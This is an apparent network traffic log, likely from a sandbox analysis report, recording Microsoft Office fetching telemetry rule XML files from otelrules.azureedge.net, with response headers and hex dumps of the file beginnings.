2024-10-23 19:04:23 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:23 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: a2099384-101e-008d-760b-2292e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190423Z-r1755647c66sxs9zhy17bg185w00000009hg0000000003df x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:23 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49857	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:24 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:24 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: d904b25e-d01e-0066-3f59-23ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190424Z-17fbfdc98bbnmnfvzuhft9x8zg00000004xg00000000481y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:24 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49861	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:24 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: f0881de6-001e-002b-6759-2399f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190424Z-17fbfdc98bbn5xh71qanksxprn000000068g000000006f5n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:25 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49858	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:24 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 654233af-a01e-001e-0b27-2149ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190424Z-17fbfdc98bb75b2fuh11781a0n00000006400000000039dz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:25 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49859	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:24 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 97ea84b8-d01e-005a-0430-217fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190424Z-r1755647c66dj7986akr8tvaw400000007tg00000000aksd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:25 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49860	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:24 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 5342d47f-d01e-0028-2f83-217896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190424Z-r1755647c66gb86l6k27ha2m1c00000007300000000079br x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:25 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49862	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:24 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:25 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:25 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 062c286a-b01e-005c-0c8e-214c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190425Z-r1755647c66kmfl29f2su56tc400000009f0000000002vhu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:25 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49867	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:26 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: e338167f-e01e-003c-7dcf-20c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190426Z-r1755647c66prnf6k99z0m3kzc00000008pg000000004xrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.6	49866	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:26 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 1aaeab13-501e-0078-31c1-2006cf000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190426Z-r1755647c66mgrw7zd8m1pn5500000000760000000002ra9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.6	49863	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:26 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:26 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 9f7c1011-d01e-0065-1a3b-22b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190426Z-17fbfdc98bbvcvlzx1n0fduhm000000006d00000000016m2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:26 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49865	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:26 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 09861b75-b01e-005c-4550-234c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190426Z-17fbfdc98bbvf2fnx6t6w0g25n000000068g000000003bp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-23 19:04:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.6	49864	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-23 19:04:26 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-23 19:04:26 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 19:04:26 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 1b20d623-a01e-0098-6292-1f8556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241023T190426Z-r1755647c66ldfgxa3qp9d53us00000008ng000000006cwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
